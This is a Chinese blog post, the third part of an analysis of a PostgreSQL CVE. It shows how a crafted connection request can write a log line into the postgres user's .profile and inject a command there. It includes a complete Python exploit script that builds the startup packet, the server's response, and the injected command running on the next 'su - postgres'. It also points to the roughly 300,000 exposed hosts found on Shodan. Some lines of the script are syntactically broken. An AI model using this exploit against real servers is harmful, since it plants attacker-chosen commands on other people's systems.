剖析 PostgreSQL 的 CVE(3)

除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。

首先再回顾一下"-r"选项的日志输出格式:

2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off

因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。

但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。

运行下面的命令并抓包:

psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB”

由此我们可以看出posgres协议有以下组成部分:

一个4字节的big-endian长度的字段(包括自身的大小)

一个魔数(0×00, 0×03, 0×00, 0×00)

由空字节(Null bytes)分隔的几个命令

用户(user)

<输入的用户名>

数据库(database)

<输入的数据库名>

程序名(application_name)

<输入的程序名>

客户端编码及值(client_encoding & value,我们忽略此项)

空字节(null byte)结尾

我们用Python编程构造一个请求:

import socket
import sys
import struct

HOST="192.168.1.100"
PORT=5432

buf = "\x00\x03\x00\x00" \
 "user\x00" \
 "\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
 "database\x00" \
 "-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
 "application_name\x00psql_pwnie\x00\x00"

buf = struct.pack(">I", len(buf)+4) + buf

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST,PORT))
sock.send(buf)
data = sock.recv(1024)
sock.close()
print data
sys.exit(0)

程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。

x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile

E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication

结果:

root@ubuntu:~# su - postgres
2013-04-09: command not found
 April 2013
Su Mo Tu We Th Fr Sa
 1 2 3 4 5 6
 7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
postgres@ubuntu:~$

现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口……

这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/ppwdw.html